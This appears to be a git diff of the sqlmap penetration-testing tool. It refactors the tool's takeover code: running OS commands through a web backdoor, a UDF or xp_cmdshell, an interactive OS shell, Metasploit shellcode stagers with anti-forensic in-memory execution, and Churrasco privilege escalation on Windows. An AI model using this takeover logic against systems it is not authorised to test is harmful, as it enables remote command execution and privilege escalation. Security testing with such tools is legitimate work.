diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index aa463b35f..88b0e01e6 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -60,7 +60,7 @@ class Abstraction(Web, UDF, xp_cmdshell): def execCmd(self, cmd, silent=False, forgeCmd=False): if self.webBackdoorUrl and not kb.stackedTest: - self.webBackdoorRunCmd(cmd, silent=True) + self.webBackdoorRunCmd(cmd) elif kb.dbms in ( "MySQL", "PostgreSQL" ): self.udfExecCmd(cmd, silent=silent) @@ -73,7 +73,10 @@ class Abstraction(Web, UDF, xp_cmdshell): raise sqlmapUnsupportedFeatureException, errMsg def evalCmd(self, cmd, first=None, last=None): - if kb.dbms in ( "MySQL", "PostgreSQL" ): + if self.webBackdoorUrl and not kb.stackedTest: + return self.webBackdoorRunCmd(cmd) + + elif kb.dbms in ( "MySQL", "PostgreSQL" ): return self.udfEvalCmd(cmd, first, last) elif kb.dbms == "Microsoft SQL Server": @@ -103,25 +106,31 @@ class Abstraction(Web, UDF, xp_cmdshell): if not conf.osShell and not conf.osPwn and not conf.cleanup: self.__cmdShellCleanup() - def absOsShell(self): - if kb.dbms in ( "MySQL", "PostgreSQL" ): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " - infoMsg += "command execution" - logger.info(infoMsg) - - elif kb.dbms == "Microsoft SQL Server": - infoMsg = "going to use xp_cmdshell extended procedure for " - infoMsg += "operating system command execution" + def shell(self): + if self.webBackdoorUrl and not kb.stackedTest: + infoMsg = "calling OS shell. To quit type " + infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) else: - errMsg = "feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + if kb.dbms in ( "MySQL", "PostgreSQL" ): + infoMsg = "going to use injected sys_eval and sys_exec " + infoMsg += "user-defined functions for operating system " + infoMsg += "command execution" + logger.info(infoMsg) - infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows" - infoMsg += "'x' or 'q' and press ENTER" - logger.info(infoMsg) + elif kb.dbms == "Microsoft SQL Server": + infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg += "operating system command execution" + logger.info(infoMsg) + + else: + errMsg = "feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows" + infoMsg += "'x' or 'q' and press ENTER" + logger.info(infoMsg) autoCompletion(osShell=True) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 6cd37613e..1f5aa5842 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -53,7 +53,7 @@ class Web: self.webUploaderUrl = None self.webDirectories = set() - def webBackdoorRunCmd(self, cmd, silent=False): + def webBackdoorRunCmd(self, cmd): if self.webBackdoorUrl is None: return @@ -66,49 +66,13 @@ class Web: page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True) if page is not None: - output = re.search("
(.+?)", page, re.I | re.S) + output = re.search("
(.+?)", page, re.I | re.S) - if not silent: if output: - print output.group(1) - else: - print "No output" + output = output.group(1) return output - def webBackdoorShell(self): - if self.webBackdoorUrl is None: - return - - infoMsg = "calling OS shell. To quit type " - infoMsg += "'x' or 'q' and press ENTER" - logger.info(infoMsg) - - autoCompletion(osShell=True) - - while True: - command = None - - try: - command = raw_input("os-shell> ") - except KeyboardInterrupt: - print - errMsg = "user aborted" - logger.error(errMsg) - except EOFError: - print - errMsg = "exit" - logger.error(errMsg) - break - - if not command: - continue - - if command.lower() in ( "x", "q", "exit", "quit" ): - break - - self.webBackdoorRunCmd(command) - def webFileUpload(self, fileToUpload, destFileName, directory): if self.webApi == "php": multipartParams = { diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 2988ad0eb..4b20dc6ce 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -84,10 +84,10 @@ class Takeover(Abstraction, Metasploit, Registry): logger.info(infoMsg) self.webInit() - self.webBackdoorRunCmd(conf.osCmd) else: self.initEnv() - self.runCmd(conf.osCmd) + + self.runCmd(conf.osCmd) def osShell(self): stackedTest() @@ -97,12 +97,14 @@ class Takeover(Abstraction, Metasploit, Registry): logger.info(infoMsg) self.webInit() - self.webBackdoorShell() else: self.initEnv() - self.absOsShell() + + self.shell() def osPwn(self): + goUdf = False + stackedTest() if not kb.stackedTest: @@ -116,77 +118,71 @@ class Takeover(Abstraction, Metasploit, Registry): self.getRemoteTempPath() self.createMsfPayloadStager() self.uploadMsfPayloadStager(web=True) + else: + self.initEnv() + self.getRemoteTempPath() - self.pwn() + if kb.dbms in ( "MySQL", "PostgreSQL" ): + msg = "how do you want to execute the Metasploit shellcode " + msg += "on the back-end database underlying operating system?" + msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" + msg += "\n[2] Stand-alone payload stager (file system way)" - return + while True: + choice = readInput(msg, default=1) - self.initEnv() - self.getRemoteTempPath() + if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ): + choice = int(choice) + break - goUdf = False + elif isinstance(choice, int) and choice in ( 1, 2 ): + break - if kb.dbms in ( "MySQL", "PostgreSQL" ): - msg = "how do you want to execute the Metasploit shellcode " - msg += "on the back-end database underlying operating system?" - msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Stand-alone payload stager (file system way)" + else: + warnMsg = "invalid value, valid values are 1 and 2" + logger.warn(warnMsg) - while True: - choice = readInput(msg, default=1) + if choice == 1: + goUdf = True - if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ): - choice = int(choice) - break + if goUdf: + self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") + else: + self.createMsfPayloadStager() + self.uploadMsfPayloadStager() - elif isinstance(choice, int) and choice in ( 1, 2 ): - break + if kb.os == "Windows" and conf.privEsc: + if kb.dbms == "MySQL": + debugMsg = "by default MySQL on Windows runs as SYSTEM " + debugMsg += "user, no need to privilege escalate" + logger.debug(debugMsg) - else: - warnMsg = "invalid value, valid values are 1 and 2" + elif kb.dbms == "PostgreSQL": + warnMsg = "by default PostgreSQL on Windows runs as postgres " + warnMsg += "user which has no Windows Impersonation " + warnMsg += "Tokens: it is unlikely that the privilege " + warnMsg += "escalation will be successful" logger.warn(warnMsg) - if choice == 1: - goUdf = True - - if goUdf: - self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") - else: - self.createMsfPayloadStager() - self.uploadMsfPayloadStager() - - if kb.os == "Windows" and conf.privEsc: - if kb.dbms == "MySQL": - debugMsg = "by default MySQL on Windows runs as SYSTEM " - debugMsg += "user, no need to privilege escalate" - logger.debug(debugMsg) - - elif kb.dbms == "PostgreSQL": - warnMsg = "by default PostgreSQL on Windows runs as postgres " - warnMsg += "user which has no Windows Impersonation " - warnMsg += "Tokens: it is unlikely that the privilege " - warnMsg += "escalation will be successful" - logger.warn(warnMsg) - - elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): - warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] - warnMsg += "runs as Network Service which has no Windows " - warnMsg += "Impersonation Tokens within all threads, this " - warnMsg += "makes Meterpreter's incognito extension to " - warnMsg += "fail to list tokens" - logger.warn(warnMsg) - - uploaded = self.uploadChurrasco() - - if not uploaded: - warnMsg = "beware that the privilege escalation " - warnMsg += "might not work" + elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0] + warnMsg += "runs as Network Service which has no Windows " + warnMsg += "Impersonation Tokens within all threads, this " + warnMsg += "makes Meterpreter's incognito extension to " + warnMsg += "fail to list tokens" logger.warn(warnMsg) - else: - # Unset --priv-esc if the back-end DBMS underlying operating - # system is not Windows - conf.privEsc = False + uploaded = self.uploadChurrasco() + + if not uploaded: + warnMsg = "beware that the privilege escalation " + warnMsg += "might not work" + logger.warn(warnMsg) + + else: + # Unset --priv-esc if the back-end DBMS underlying operating + # system is not Windows + conf.privEsc = False self.pwn(goUdf)